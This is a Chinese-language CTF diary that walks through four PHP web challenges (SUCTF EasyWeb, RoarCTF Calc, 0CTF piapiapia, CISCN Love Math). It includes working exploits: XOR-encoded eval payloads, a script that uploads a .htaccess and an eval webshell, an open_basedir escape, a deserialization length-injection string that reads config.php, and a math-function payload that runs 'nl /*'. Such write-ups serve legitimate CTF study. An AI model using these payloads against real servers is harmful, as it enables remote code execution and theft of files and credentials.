buuoj日记-2

SUCTF 2019 EasyWeb,RoarCTF 2019 Calc,0CTF 2016 piapiapia,CISCN 2019 Love Math

SUCTF 2019 EasyWeb

分析:

一上来就给了源码,大致是两段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

这一段代码分为两个部分,我们分开来看

(1)命令执行

(2)文件上传

命令执行:

收到一个参数为$hhh,做了两个限制,第一个就是正则的限制,第二个就是长度的限制,很明显长度的限制是为了让我得到flag只能通过上传shell获得,也就是调用get_the_flag函数,而第一个正则我们需要去fuzz一下可用的字符,我自己的正则非常弱。。。所以每逢正则必先fuzz。下面给出脚本

1
2
3
4
5
6
7
8
<?php
for ($i = 0; $i < 256; $i++) {
if (!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($i))) {
echo chr($i);
echo " ";
}
}
?>

经过fuzz,可以的到我们可用的可见字符为!#$%()*+-/:;<>?@\]^{}

知道了大概的思路,就是通过php的异或特性来构造我们可以由此构造出_GET

用下面的payload测试phpinfo,成功

1
${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=phpinfo()

那最终的url就是:

1
?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=phpinfo

文件上传:

为了可以清晰一点,我直接就把所有的限制条件给写出来了

(1)上传的文件要经过exif_imagetype的检查

(2)上传的文件后缀名不能是php

(3)做到最后一步发现服务器设置了open_basedir的操作文件设置

对于(1),(2)我直接上最终的exp进行分析

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests


url = 'http://d9b66333-b8f3-4ca6-a865-49b7b2133a51.node3.buuoj.cn/?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%=get_the_flag'
SIZE_HEADER = b'\n\n#define width 10000\n#define height 1000\n\n'


def sc_file(filename, script):
phpfile = open(filename, 'wb')

phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER)

phpfile.close()


def sc_htaccess():
htaccess = open('.htaccess', 'wb')

htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .woc\n')
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.close()


sc_htaccess()

sc_file('woc.woc', '<?php eval($_GET[cmd]);?>')

file1 = [('file', ('.htaccess', open('./.htaccess', 'rb'), 'image/jpeg'))]
r1 = requests.post(url=url, files=file1)
print(r1.text)


file2 = [('file', ('woc.woc', open('./woc.woc', 'rb'), 'image/jpeg'))]
r2 = requests.post(url=url, files=file2)

print(r2.text)

我写了两个生成文件的函数,生成.htaccess文件和生成woc.woc文件,woc.woc就是我们的shell

对于第二个限制不能上传后缀为php的文件,我们通过上传.htaccess文件去绕过,在sc_htaccess

函数中,AddType application/x-httpd-php .woc\n把所有所有的woc文件解析为php文件。

对于exif_imagetype函数的检查,我们要做的有三个事情

1.这两行代表 启用多字节编码的源文件解析,检查BOM(字节顺序标记)并查看文件是否包含有效的多字节,

这里用于绕过对”<?”的检查,如果php版本过低,直接用<script language=php>绕过即可

1
2
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')

2.在每个文件中添加入c定义的长款,表明我TM是个image

1
SIZE_HEADER = b'\n\n#define width 10000\n#define height 1000\n\n'

3.把woc.woc文件的编码设置为utf-16而题目的编码不是,这里也是bypass用于对”<?“的检查

然后我就成功的上传了.htaccee和woc.woc

经过测试发现了还存在open_basedir的限制,这里下回单独整理,直接上老外的方法

1
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');执行;

http://localhost/upload/tmp_33c6f8457bd77fce0b109b4554e1a95c/woc.woc?cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));

得到flag在/THis_Is_tHe_F14g

http://localhost/upload/tmp_33c6f8457bd77fce0b109b4554e1a95c/woc.woc?cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/THis_Is_tHe_F14g'));

得到flag

ps:

参考连接:

exif_imagetype的绕过方法

bypass open_basedir的新方法

RoarCTF 2019 Calc

分析:

f12搁源码里瞅见了calc.php,然后得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

这里一看就是命令执行漏洞,但是经过fuzz发现他整了个WAF,连所有的字母都不过waf

但是这里有个神奇的过waf手法,在num前输入一个%20就可以过waf了

但是因为把单双引号过滤了,所以此处只需要用chr过了就行

构造payload,得到flag

1
calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));

非预期:

这个非预期很迷,打比赛的时候没有想过,说是html走私漏洞,但是根本不是

这里可以看到直接就成功了,为啥呢

我做的是两个操作,一个是把TE参数定为了chunked,当TE和CL都在的时候,后端服务器处理TE,只要请求的末尾中有\r\n\r\n,就可以过waf进行执行了。

可能是我对走私的理解有偏差,可能这也是一种走私吧。

ps:

参考链接

在HTTP协议层面绕过WAF

整理一下了走私攻击

0CTF 2016 piapiapia

分析:

首先直接扫描目录可以得到www.zip里面是页面的源码,得知本网站的逻辑

(1)注册

(2)登录

(3)修改信息

然后进行代码审计

config.php

1
2
3
4
5
6
7
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>

大概就能得知本题的要求是,要我们读取config.php

在profile.php中读到有unserialize函数,下面的photo有对文件进行读取,此处应该就是利用点,进行追踪。从第7行可以得知这里的$profile是通过一个user类的show_profile函数获取的

那我们去看class.php

再结合下面的update_profile函数我们可以推断出整个更新信息的逻辑

1.接受参数以后形成一个数组例如

1
2
3
4
5
6
7
$a = Array
(
'phone' => '15000000000',
'email' => 'woc2@qq.com',
'nickname' => ['hello'],
'photo' => 'upload/'.md5('123.jpg')
);

然后对$a进行serialize($a)以字符串的形式储存再数据库中,当读取profile.php时再通过session中的登录名进行读取,然后进行反序列化,所以这个图片的地方应该就是我们想要读取出文件的地方

如上这条正常的序列化是这样的

1
a:4:{s:5:"phone";s:11:"15000000000";s:5:"email";s:11:"woc2@qq.com";s:8:"nickname";a:1:{i:0;s:5:"hello";}s:5:"photo";s:39:"upload/f47454d1d3644127f42070181a8b9afc";}

我的思路就是把photo给注入到nickname中。

为了清晰我直接给payload

1
a:4:{s:5:"phone";s:11:"15000000000";s:5:"email";s:12:"test1@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}s:39:"upload/f47454d1d3644127f42070181a8b9afc";}

我给出我的攻击过程

这里一个简单的点:update.php中对nickname进行了长度的限制,可以用nickname[]绕过

这里一共有34个where加上";}s:5:"photo";s:10:"config.php";},一共有204的字符

从数据库重新读取这条语句的时候有一个filter函数

1
2
3
4
5
6
7
8
9
10
11
<?php
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
var_dump($esapce);
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

这个函数就会把所有的where变成了hacker,这时候,整个字符串就变成了

1
a:4:{s:5:"phone";s:11:"15000000000";s:5:"email";s:12:"test1@qq.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}s:39:"upload/f47454d1d3644127f42070181a8b9afc";}

但是17个hacker就已经是204个字符了,所有此时";}s:5:"photo";s:10:"config.php";}不再是一大串where的一部分,s:5:"photo";s:10:"config.php"也不是简单的字符串了,在序列化时会被解析成profile['photo']='config.php'

这里就是最后的config.php的base64了,解码出flag

CISCN 2019 Love Math

这道题目我实在不想写了。。。。。回头另外整理一下有关的函数问题,和套娃啥的配合起来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 <?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

源码如此,能用的函数都是些数学函数。

是个命令执行

分析

因为有长度的限制,构造的时候都尽量的短,调用系统的命令为exec,读取文件的命令为nl /*

1
2
php > echo base_convert('exec',36,10);
696468

nl /*的hex是6e6c202f2a

1
2
3
4
5
6
php > echo base_convert('exec',36,10);
696468
php > echo hexdec('6e6c202f2a');
474260451114
php > echo hex2bin(dechex(474260451114));
nl /*

base_convert太长了只能出现一次,所以用$pi=base_convert这种方式去缩短payload

最后的payload为

1
c=($pi=base_convert)(22950,23,34)($pi(1438255411,14,34)(dechex(474260451114)))